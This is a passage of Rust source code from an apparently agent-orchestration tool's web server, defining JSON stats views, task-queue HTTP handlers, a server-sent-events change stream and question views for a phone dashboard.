4407            runs: t.runs,
4408            merged: t.merged,
4409            ready: t.ready,
4410            blocked: t.blocked,
4411            failed: t.failed,
4412            stalled: t.stalled,
4413            verified_noop: t.verified_noop,
4414            superseded: t.superseded,
4415            in_progress: t.in_progress,
4416            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4417            tallied: t.tallied,
4418            split: t.split,
4419            split_rate: RateView::of(t.split, t.tallied),
4420            deliberated: t.deliberated,
4421            minds_changed: t.minds_changed,
4422            converged: t.converged,
4423            review_rounds: t.review_rounds,
4424        }
4425    }
4426}
4427
4428/// [`crate::stats::AgentStats`] for the wire.
4429#[derive(Debug, Serialize)]
4430struct AgentStatsView {
4431    agent: String,
4432    entered: usize,
4433    wins: usize,
4434    empty: usize,
4435    win_rate: Option<RateView>,
4436}
4437
4438impl From<&stats::AgentStats> for AgentStatsView {
4439    fn from(a: &stats::AgentStats) -> Self {
4440        Self {
4441            agent: a.agent.clone(),
4442            entered: a.entered,
4443            wins: a.wins,
4444            empty: a.empty,
4445            win_rate: RateView::of(a.wins, a.entered),
4446        }
4447    }
4448}
4449
4450/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4451/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4452/// value, `None` when `rounds` is zero.
4453#[derive(Debug, Serialize)]
4454struct ReviewerStatsView {
4455    agent: String,
4456    rounds: usize,
4457    seated: usize,
4458    submitted: usize,
4459    adopted: usize,
4460    unique: usize,
4461    timeouts: usize,
4462    adopted_per_round: Option<f64>,
4463    precision: Option<RateView>,
4464    unique_rate: Option<RateView>,
4465    timeout_rate: Option<RateView>,
4466}
4467
4468impl From<&stats::ReviewerStats> for ReviewerStatsView {
4469    fn from(r: &stats::ReviewerStats) -> Self {
4470        Self {
4471            agent: r.agent.clone(),
4472            rounds: r.rounds,
4473            seated: r.seated,
4474            submitted: r.submitted,
4475            adopted: r.adopted,
4476            unique: r.unique,
4477            timeouts: r.timeouts,
4478            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4479            precision: RateView::of(r.adopted, r.submitted),
4480            unique_rate: RateView::of(r.unique, r.submitted),
4481            timeout_rate: RateView::of(r.timeouts, r.seated),
4482        }
4483    }
4484}
4485
4486/// [`crate::stats::AdvisorStats`] for the wire.
4487///
4488/// `reflection_rate` is approximate by construction — see
4489/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4490/// that caveat is static text in `index.html`, not a field here.
4491#[derive(Debug, Serialize)]
4492struct AdvisorStatsView {
4493    agent: String,
4494    seated: usize,
4495    proposed: usize,
4496    absent: usize,
4497    faint: usize,
4498    strong: usize,
4499    reflection_rate: Option<RateView>,
4500}
4501
4502impl From<&stats::AdvisorStats> for AdvisorStatsView {
4503    fn from(a: &stats::AdvisorStats) -> Self {
4504        Self {
4505            agent: a.agent.clone(),
4506            seated: a.seated,
4507            proposed: a.proposed,
4508            absent: a.absent,
4509            faint: a.faint,
4510            strong: a.strong,
4511            reflection_rate: RateView::of(a.strong, a.proposed),
4512        }
4513    }
4514}
4515
4516/// [`crate::stats::E2eStats`] for the wire.
4517#[derive(Debug, Serialize)]
4518struct E2eStatsView {
4519    rounds: usize,
4520    failures: usize,
4521    sole_detections: usize,
4522    deferred: usize,
4523    sole_rate: Option<RateView>,
4524}
4525
4526impl From<&stats::E2eStats> for E2eStatsView {
4527    fn from(e: &stats::E2eStats) -> Self {
4528        Self {
4529            rounds: e.rounds,
4530            failures: e.failures,
4531            sole_detections: e.sole_detections,
4532            deferred: e.deferred,
4533            sole_rate: RateView::of(e.sole_detections, e.failures),
4534        }
4535    }
4536}
4537
4538/// [`crate::stats::ReleaseBumpStats`] for the wire.
4539///
4540/// `clean` is sent as a raw count, computed the same way
4541/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4542/// needs_attention`) — never derived client-side from `automerge_enabled`,
4543/// which would misclassify a `merged_directly` bump (automerge rejected, but
4544/// magi merged it directly, so no human involvement) as needing attention.
4545#[derive(Debug, Serialize)]
4546struct ReleaseBumpStatsView {
4547    merged: usize,
4548    recorded: usize,
4549    pr_opened: usize,
4550    automerge_enabled: usize,
4551    merged_directly: usize,
4552    needs_attention: usize,
4553    clean: usize,
4554    coverage_rate: Option<RateView>,
4555    automerge_rate: Option<RateView>,
4556    attention_rate: Option<RateView>,
4557}
4558
4559impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4560    fn from(b: &stats::ReleaseBumpStats) -> Self {
4561        Self {
4562            merged: b.merged,
4563            recorded: b.recorded,
4564            pr_opened: b.pr_opened,
4565            automerge_enabled: b.automerge_enabled,
4566            merged_directly: b.merged_directly,
4567            needs_attention: b.needs_attention,
4568            clean: b.clean(),
4569            coverage_rate: RateView::of(b.recorded, b.merged),
4570            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4571            attention_rate: RateView::of(b.needs_attention, b.recorded),
4572        }
4573    }
4574}
4575
4576/// [`crate::queue::TaskCounts`] for the wire.
4577#[derive(Debug, Serialize)]
4578struct TaskCountsView {
4579    queued: usize,
4580    running: usize,
4581    done: usize,
4582    failed: usize,
4583    held: usize,
4584    blocked: usize,
4585}
4586
4587impl From<crate::queue::TaskCounts> for TaskCountsView {
4588    fn from(c: crate::queue::TaskCounts) -> Self {
4589        Self {
4590            queued: c.queued,
4591            running: c.running,
4592            done: c.done,
4593            failed: c.failed,
4594            held: c.held,
4595            blocked: c.blocked,
4596        }
4597    }
4598}
4599
4600/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4601/// runs recorded — the summary the UI's repository selector is built from.
4602/// Carries no nested `Stats`: picking a repo means re-fetching
4603/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4604/// aggregation rather than duplicating it.
4605#[derive(Debug, Serialize)]
4606struct RepoSummaryView {
4607    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4608    /// against, full path and all (see [`stats_get`]'s own doc for why).
4609    repo: String,
4610    /// Display name only; never used for matching.
4611    name: String,
4612    runs: usize,
4613    completion_rate: Option<RateView>,
4614}
4615
4616impl From<&stats::RepoStats> for RepoSummaryView {
4617    fn from(r: &stats::RepoStats) -> Self {
4618        let t = &r.stats.totals;
4619        Self {
4620            repo: r.repo.to_string_lossy().into_owned(),
4621            name: r.name.clone(),
4622            runs: t.runs,
4623            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4624        }
4625    }
4626}
4627
4628/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4629/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4630/// renders from them) are free to grow without that becoming a wire-contract
4631/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4632/// data" from "computed and it really is zero" the way [`RateView`] does.
4633#[derive(Debug, Serialize)]
4634struct StatsView {
4635    totals: StatsTotalsView,
4636    /// Best win rate first, as [`stats::collect`] already sorts it.
4637    agents: Vec<AgentStatsView>,
4638    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4639    reviewers: Vec<ReviewerStatsView>,
4640    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4641    advisors: Vec<AdvisorStatsView>,
4642    e2e: E2eStatsView,
4643    release_bumps: ReleaseBumpStatsView,
4644    queue: TaskCountsView,
4645    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4646    /// that field's doc. Asserted to match it in
4647    /// `stats_runs_unreadable_matches_health`.
4648    ///
4649    /// Always the whole-workload count, even when `repo` narrows every other
4650    /// field to one repository - an unreadable `run.json` carries no `repo`
4651    /// a per-repository count could attribute it to, and the queue/health
4652    /// views this mirrors never scope it either. The UI must not present it
4653    /// as if it were scoped to the selected repository.
4654    runs_unreadable: usize,
4655    /// Every repository with runs recorded, most runs first - what the UI's
4656    /// repository selector is built from. Always the full list regardless of
4657    /// `repo`, so switching repositories never needs a second request.
4658    repos: Vec<RepoSummaryView>,
4659    /// The `?repo=` value this response was narrowed to, echoed back so the
4660    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4661    /// all-repositories view.
4662    repo: Option<String>,
4663}
4664
4665/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4666/// repository. Matched by full-path equality against `RunState.repo` only
4667/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4668/// `--repo` is, because the value here always came from this same route's
4669/// own `repos` list in an earlier response, never typed by a human. A value
4670/// matching no run is a 404, not an empty aggregate: the caller asked for a
4671/// specific, named repository, and silently returning zeroes would look
4672/// exactly like a repository that has runs but none of interest.
4673#[derive(Debug, Default, Deserialize)]
4674#[serde(default)]
4675struct StatsQuery {
4676    repo: Option<String>,
4677}
4678
4679/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4680/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4681/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4682/// prints from. Reads every readable run on disk, exactly as
4683/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4684/// a separately-maintained tally could.
4685async fn stats_get(
4686    State(ui): State<Arc<Ui>>,
4687    Query(q): Query<StatsQuery>,
4688) -> ApiResult<Json<StatsView>> {
4689    blocking(move || {
4690        let states: Vec<RunState> = run_ids(&ui.runs)
4691            .into_iter()
4692            .filter_map(|id| read_run(&ui.runs, &id).ok())
4693            .collect();
4694        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4695            .iter()
4696            .map(RepoSummaryView::from)
4697            .collect();
4698        let collected = match &q.repo {
4699            Some(repo) => {
4700                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4701                if filtered.is_empty() {
4702                    return Err(ApiError::not_found(format!(
4703                        "no runs recorded against repo `{repo}`"
4704                    )));
4705                }
4706                stats::collect_refs(filtered)
4707            }
4708            None => stats::collect(&states),
4709        };
4710        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4711        Ok(Json(StatsView {
4712            totals: StatsTotalsView::from(&collected.totals),
4713            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4714            reviewers: collected
4715                .reviewers
4716                .iter()
4717                .map(ReviewerStatsView::from)
4718                .collect(),
4719            advisors: collected
4720                .advisors
4721                .iter()
4722                .map(AdvisorStatsView::from)
4723                .collect(),
4724            e2e: E2eStatsView::from(&collected.e2e),
4725            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4726            queue: TaskCountsView::from(queue_counts),
4727            runs_unreadable: runs_unreadable(&ui.runs),
4728            repos,
4729            repo: q.repo.clone(),
4730        }))
4731    })
4732    .await
4733}
4734
4735/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4736/// gives no reason - which must keep working, since not every hold has one.
4737#[derive(Debug, Default, Deserialize)]
4738#[serde(default, deny_unknown_fields)]
4739struct HoldBody {
4740    reason: Option<String>,
4741}
4742
4743async fn queue_hold(
4744    State(ui): State<Arc<Ui>>,
4745    Path(id): Path<String>,
4746    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4747) -> ApiResult<Json<TaskView>> {
4748    // An absent body is the ordinary case - most holds are unexplained, and
4749    // that has to stay a one-tap action rather than a form. A body that is
4750    // present and malformed is still a bad request.
4751    let body = match body {
4752        Ok(Json(body)) => body,
4753        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4754        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4755    };
4756    let reason = body.reason.filter(|r| !r.trim().is_empty());
4757    mutate(ui, id, move |t| {
4758        t.hold_manual(reason.clone());
4759        Ok(())
4760    })
4761    .await
4762}
4763
4764async fn queue_release(
4765    State(ui): State<Arc<Ui>>,
4766    Path(id): Path<String>,
4767) -> ApiResult<Json<TaskView>> {
4768    mutate(ui, id, |t| {
4769        t.release();
4770        Ok(())
4771    })
4772    .await
4773}
4774
4775/// The body of `POST /api/queue/{id}/priority`.
4776#[derive(Debug, Deserialize)]
4777#[serde(deny_unknown_fields)]
4778struct PriorityBody {
4779    priority: i32,
4780}
4781
4782/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4783///
4784/// [`Task::set_priority`] is the one place the "not while running" rule is
4785/// stated; this route only carries the body to it and lets its `Err` become
4786/// the 4xx the card shows.
4787async fn queue_priority(
4788    State(ui): State<Arc<Ui>>,
4789    Path(id): Path<String>,
4790    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4791) -> ApiResult<Json<TaskView>> {
4792    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4793    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4794}
4795
4796/// The body of `POST /api/queue/{id}/edit`.
4797#[derive(Debug, Deserialize)]
4798#[serde(deny_unknown_fields)]
4799struct EditBody {
4800    title: String,
4801    instruction: String,
4802    /// Save even though the new text names a branch, commit or pull request
4803    /// that unfinished work already owns.
4804    #[serde(default)]
4805    force: bool,
4806}
4807
4808/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4809/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4810/// that refusal's message is what the sheet shows back.
4811async fn queue_edit(
4812    State(ui): State<Arc<Ui>>,
4813    Path(id): Path<String>,
4814    body: std::result::Result<Json<EditBody>, JsonRejection>,
4815) -> ApiResult<Json<TaskView>> {
4816    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4817    // The judge is an agent call, so it is awaited here, outside the claim
4818    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4819    // remembered, and the save refuses if the task moved underneath it.
4820    let mut judged: Option<(String, PathBuf)> = None;
4821    if !body.force {
4822        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4823        let (id, text) = (id.clone(), body.instruction.clone());
4824        let (seen, hits) = blocking(move || {
4825            let id = resolve_task(&queue, &id)?;
4826            let t = queue.get(&id)?;
4827            if text == t.instruction {
4828                return Ok((None, Vec::new()));
4829            }
4830            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4831            Ok((Some((t.instruction, t.repo)), hits))
4832        })
4833        .await?;
4834        if let Some((_, repo)) = &seen {
4835            let cfg = crate::config::Config::discover(repo, None)
4836                .ok()
4837                .map(|(c, _)| c);
4838            crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4839                .await
4840                .map_err(|dup| {
4841                    ApiError::conflict(dup.render(
4842                        "Nothing was saved. If it is not a duplicate, repeat the request with \
4843                         \"force\": true.",
4844                    ))
4845                })?;
4846        }
4847        judged = seen;
4848    }
4849    let force = body.force;
4850    mutate(ui, id, move |t| {
4851        if !force && body.instruction != t.instruction {
4852            match &judged {
4853                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4854                _ => {
4855                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4856                }
4857            }
4858        }
4859        t.edit(body.title.clone(), body.instruction.clone())
4860    })
4861    .await
4862}
4863
4864/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4865/// it, so the phone's other way to clear a task from the backlog does not
4866/// have to cost the run history, the attribution, and `created_at` the way
4867/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4868/// can be marked done by hand, because this is for the run the loop never
4869/// saw land - a merge done by hand, or a gate that misreported - and that can
4870/// happen from any status the task was left in.
4871async fn queue_done(
4872    State(ui): State<Arc<Ui>>,
4873    Path(id): Path<String>,
4874) -> ApiResult<Json<TaskView>> {
4875    let home = ui.home.clone();
4876    mutate(ui, id, move |t| {
4877        t.succeed();
4878        // Same as the loop's own settle path: closing a task by hand is just
4879        // as much "this task's story is over" as a daemon-driven `Merged`/
4880        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4881        // behind must stop looking like it still needs a human. `ui.home`,
4882        // not the process-global `run::home()`: they agree in a real
4883        // process, but only `ui.home` also agrees with a test fixture's own
4884        // directory.
4885        crate::daemon::supersede_prior_runs(t, &home);
4886        Ok(())
4887    })
4888    .await
4889}
4890
4891/// `DELETE /api/queue/{id}`.
4892///
4893/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4894/// names this task: a `running` status or an orphaned `.lock` left behind by a
4895/// killed daemon is a leftover, and treating either as authority made the
4896/// task undeletable from the phone for good. The associated runs, if any, are
4897/// kept: a run is self-contained history and not an appendage of the task.
4898async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4899    blocking(move || {
4900        let id = resolve_task(&ui.queue, &id)?;
4901        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4902        ui.queue
4903            .remove(&id, in_flight, &ui.questions)
4904            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4905        Ok(StatusCode::NO_CONTENT)
4906    })
4907    .await
4908}
4909
4910/// Read a task, change it, write it back, under the queue's own lock.
4911///
4912/// Taking the same claim a daemon takes is what makes hold, release,
4913/// priority, edit, and done safe to press while magi is running: without it
4914/// the daemon's next save would land on top of the operator's change and
4915/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4916/// both do, for a running task - and that refusal becomes the 4xx the card
4917/// shows, same as any other domain rule.
4918async fn mutate(
4919    ui: Arc<Ui>,
4920    id: String,
4921    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4922) -> ApiResult<Json<TaskView>> {
4923    blocking(move || {
4924        let id = resolve_task(&ui.queue, &id)?;
4925        // `claim` fails when the lock file already exists, which is the
4926        // conflict the UI must report: the daemon owns that task's file for
4927        // as long as it is running it, and our write would be lost under its
4928        // next save. The message names the lock either way.
4929        let _claim = ui.queue.claim(&id).map_err(|e| {
4930            ApiError::conflict(format!(
4931                "{e:#} - a daemon is running this task, so it cannot be \
4932                 changed from here yet"
4933            ))
4934        })?;
4935        let mut task = ui.queue.get(&id)?;
4936        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4937            Ok(dup) => ApiError::conflict(dup.render(
4938                "Nothing was saved. If it is not a duplicate, repeat the request with \
4939                 \"force\": true.",
4940            )),
4941            Err(e) => ApiError::bad_request_from(e),
4942        })?;
4943        ui.queue.put(&mut task)?;
4944        Ok(Json(TaskView::from(task)))
4945    })
4946    .await
4947}
4948
4949/// The change stream: one revision number per store, on connect and whenever
4950/// any of them moves.
4951///
4952/// The poll runs in one spawned task per client, which is affordable because
4953/// the work is a directory scan and a `stat` per file. It stops as soon as the
4954/// receiver is gone, so a phone that walks out of range costs nothing after
4955/// its next tick - there is no session and no cleanup to forget.
4956async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4957    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4958    tokio::spawn(async move {
4959        let mut ticker = tokio::time::interval(POLL);
4960        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4961        let mut stamps: Option<[Stamps; 3]> = None;
4962        loop {
4963            // The first tick completes immediately, which is what makes the
4964            // stream announce the current revisions on connect.
4965            ticker.tick().await;
4966            let state = Arc::clone(&ui);
4967            let revisions = tokio::task::spawn_blocking(move || {
4968                let stamps = [
4969                    store_stamps(state.queue.root(), false),
4970                    store_stamps(&state.runs, true),
4971                    store_stamps(state.talks.root(), false),
4972                ];
4973                let revisions = (
4974                    stamps_revision(&stamps[0]),
4975                    stamps_revision(&stamps[1]),
4976                    state.questions.revision(),
4977                    stamps_revision(&stamps[2]),
4978                    state.notices.revision(),
4979                    // The loop's counter is in-process state rather than a
4980                    // file, so nothing the three stats above look at would
4981                    // tell this phone that another one started the loop.
4982                    state.lock_loop().rev,
4983                );
4984                (revisions, stamps)
4985            })
4986            .await;
4987            let Ok((revisions, next_stamps)) = revisions else {
4988                break;
4989            };
4990            if last == Some(revisions) {
4991                continue;
4992            }
4993            let mut payload = serde_json::json!({
4994                "queue_rev": revisions.0,
4995                "runs_rev": revisions.1,
4996                "questions_rev": revisions.2,
4997                "talks_rev": revisions.3,
4998                "notifications_rev": revisions.4,
4999                "loop_rev": revisions.5,
5000            });
5001            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5002                for (index, (key, rev)) in [
5003                    ("queue_delta", base.0),
5004                    ("runs_delta", base.1),
5005                    ("talks_delta", base.3),
5006                ]
5007                .into_iter()
5008                .enumerate()
5009                {
5010                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5011                    // Empty diffs may mean a non-file dependency moved. Read whole.
5012                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5013                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5014                    }
5015                }
5016            }
5017            last = Some(revisions);
5018            stamps = Some(next_stamps);
5019            // Giving up beats looping if the receiver is gone.
5020            let Ok(event) = Event::default().event("change").json_data(payload) else {
5021                break;
5022            };
5023            if tx.send(event).await.is_err() {
5024                break;
5025            }
5026        }
5027    });
5028    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5029        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5030}
5031
5032type Stamps = HashMap<String, (u128, u64)>;
5033
5034/// Metadata only: no task instructions or conversation bodies are read here.
5035fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5036    std::fs::read_dir(root)
5037        .into_iter()
5038        .flatten()
5039        .flatten()
5040        .filter_map(|entry| {
5041            let path = if runs {
5042                entry.path().join("run.json")
5043            } else {
5044                entry.path()
5045            };
5046            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5047                return None;
5048            }
5049            let metadata = path.metadata().ok()?;
5050            let modified = metadata
5051                .modified()
5052                .ok()?
5053                .duration_since(std::time::UNIX_EPOCH)
5054                .ok()?;
5055            let id = if runs {
5056                entry.file_name().to_string_lossy().into_owned()
5057            } else {
5058                path.file_stem()?.to_string_lossy().into_owned()
5059            };
5060            Some((id, (modified.as_nanos(), metadata.len())))
5061        })
5062        .collect()
5063}
5064
5065#[derive(Debug, Serialize)]
5066struct Delta {
5067    base: u64,
5068    changed: Vec<String>,
5069    removed: Vec<String>,
5070}
5071
5072fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5073    let mut changed: Vec<_> = next
5074        .iter()
5075        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5076        .map(|(id, _)| id.clone())
5077        .collect();
5078    let mut removed: Vec<_> = previous
5079        .keys()
5080        .filter(|id| !next.contains_key(*id))
5081        .cloned()
5082        .collect();
5083    changed.sort_unstable();
5084    removed.sort_unstable();
5085    Delta {
5086        base,
5087        changed,
5088        removed,
5089    }
5090}
5091
5092/// Change detection token for recorded runs under `runs`.
5093///
5094/// Combines the id and `run.json` modification time of each run, so adding,
5095/// updating, or deleting any run — even an older one — moves the revision and
5096/// notifies connected clients via the change stream. Returns 0 when no runs
5097/// exist.
5098fn runs_revision(runs: &FsPath) -> u64 {
5099    stamps_revision(&store_stamps(runs, true))
5100}
5101
5102/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5103/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5104/// and deleting an older conversation (a newest-mtime token cannot do that).
5105fn stamps_revision(stamps: &Stamps) -> u64 {
5106    use std::hash::{Hash as _, Hasher as _};
5107    if stamps.is_empty() {
5108        return 0;
5109    }
5110    let mut entries: Vec<_> = stamps.iter().collect();
5111    entries.sort_unstable();
5112    let mut hasher = std::hash::DefaultHasher::new();
5113    entries.hash(&mut hasher);
5114    hasher.finish().max(1)
5115}
5116
5117/// Run ids under `runs`, newest first.
5118///
5119/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5120/// which reads the process-global home: the server has to be drivable against
5121/// a temp directory for any of this to be testable.
5122fn run_ids(runs: &FsPath) -> Vec<String> {
5123    let mut ids: Vec<String> = std::fs::read_dir(runs)
5124        .into_iter()
5125        .flatten()
5126        .flatten()
5127        .filter(|e| e.path().join("run.json").is_file())
5128        .map(|e| e.file_name().to_string_lossy().into_owned())
5129        .collect();
5130    // Ids start with a sortable timestamp.
5131    ids.sort_unstable_by(|a, b| b.cmp(a));
5132    ids
5133}
5134
5135/// Read one run's state from an explicit runs root.
5136fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5137    let path = runs.join(id).join("run.json");
5138    let body =
5139        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5140    let state: RunState =
5141        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5142    // The same migration `RunState::load` applies, so a record from the
5143    // previous schema reads here as it does everywhere else (an origin-less
5144    // run shows as "origin unknown") instead of vanishing from the phone the
5145    // moment the schema is bumped.
5146    run::migrate_schema(state)
5147}
5148
5149/// Runs on disk under `runs` whose state this build cannot parse - almost
5150/// always a schema bump, occasionally a run killed mid-write.
5151///
5152/// Exposed so every surface that reports on runs shares one count instead of
5153/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5154/// `magi doctor` calls this directly rather than guessing at the same number
5155/// a second way.
5156#[must_use]
5157pub fn runs_unreadable(runs: &FsPath) -> usize {
5158    run_ids(runs)
5159        .into_iter()
5160        .filter(|id| read_run(runs, id).is_err())
5161        .count()
5162}
5163
5164/// Expand an id or short id to exactly one run id.
5165fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5166    if runs.join(id).join("run.json").is_file() {
5167        return Ok(id.to_owned());
5168    }
5169    pick(run_ids(runs), id, "run")
5170}
5171
5172/// Expand an id or short id to exactly one task id.
5173fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5174    if queue.path_of(id).is_file() {
5175        return Ok(id.to_owned());
5176    }
5177    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5178}
5179
5180/// A question as the phone reads it.
5181///
5182/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5183/// text already parsed into a node tree so the client never runs its own
5184/// markdown reader over agent-authored prose. A relative image path in it
5185/// resolves against this question's own panel asset route, which is the one
5186/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5187/// separate, sandboxed document, but `detail` is rendered inline in the
5188/// operator's own page, so an image reference in it may only ever point at
5189/// files magi itself already serves for this question.
5190#[derive(Debug, Serialize)]
5191struct QuestionView {
5192    #[serde(flatten)]
5193    question: Question,
5194    detail_md: Vec<md::Node>,
5195    /// Each thread turn's body, parsed; same order as `question.thread`.
5196    thread_bodies_md: Vec<Vec<md::Node>>,
5197    /// Is the ball in the agent's court right now?
5198    ///
5199    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5200    /// [`Question::say`] - so this is the one field that tells the phone to
5201    /// disable the answer controls and show "waiting for the agent" instead of
5202    /// a card the owner can act on. Computed rather than stored on
5203    /// [`Question`] itself, on the same reasoning as `waiting` on
5204    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5205    /// it here means the client never has to re-derive that rule.
5206    waiting_on_agent: bool,
5207    /// Who is waiting on this open question - see [`holder_of`]. Separate
5208    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5209    /// anyone is there to take it.
5210    holder: Option<&'static str>,
5211    /// Whether `magi serve` can start a follow-up agent for a conductor
5212    /// question at all: false when `daemon.max_deputies = 0` or the config is
5213    /// unreadable. Separate from `holder`, which says who is listening now.
5214    deputies_enabled: bool,
5215    /// `question.run` is a task id (conductor / triage questions), not a run
5216    /// id, so the UI links it to the task page.
5217    run_is_task: bool,
5218}
5219
5220impl QuestionView {
5221    /// The view of `question`, reading who is waiting on it from `store`.
5222    ///
5223    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5224    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5225        let base = md::ImageBase::QuestionPanel {
5226            id: question.id.clone(),
5227        };
5228        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5229        Self {
5230            detail_md: md::to_nodes(&question.detail, &base),
5231            thread_bodies_md: question
5232                .thread
5233                .iter()
5234                .map(|t| md::to_nodes(&t.body, &base))
5235                .collect(),
5236            waiting_on_agent: question.waiting_on_agent(),
5237            holder,
5238            deputies_enabled,
5239            run_is_task: question.run_names_task(),
5240            question,
5241        }
5242    }
5243}
5244
5245/// The config this repository resolves, or `None` when it cannot be read.
5246/// Discovering is git processes plus a config render, so a request that needs
5247/// it for many items takes it once and passes it down.
5248fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5249    Config::discover(repo, None).ok().map(|(c, _)| c)
5250}
5251
5252/// Can `magi serve` start a deputy for this question under `cfg`?
5253fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5254    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5255}
5256
5257/// The views `GET /api/questions` answers. `load` runs at most once, however
5258/// many questions there are, and not at all when there are none.
5259fn question_views(
5260    qs: Vec<Question>,
5261    store: &ask::Questions,
5262    load: impl FnOnce() -> Option<Config>,
5263) -> Vec<QuestionView> {
5264    if qs.is_empty() {
5265        return Vec::new();
5266    }
5267    let cfg = load();
5268    qs.into_iter()
5269        .map(|q| {
5270            let on = deputies_enabled(cfg.as_ref(), &q);
5271            QuestionView::of(q, store, on)
5272        })
5273        .collect()
5274}
5275
5276/// Who is honestly waiting on an open question right now: `"asker"` (the
5277/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5278/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5279/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5280/// up, or the question never had anyone listening (a conductor question or a
5281/// merge approval from before deputies, or not yet given one).
5282///
5283/// `None` for a question that is settled, and for one that is not an agent's
5284/// to wait on at all (a release notice).
5285fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5286    if !q.status.open() {
5287        return None;
5288    }
5289    if q.cwd.is_none() && q.deputy.is_none() {
5290        return crate::deputy::kind_of(q).map(|_| "nobody");
5291    }
5292    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5293        Some(_) if q.deputy.is_some() => "deputy",
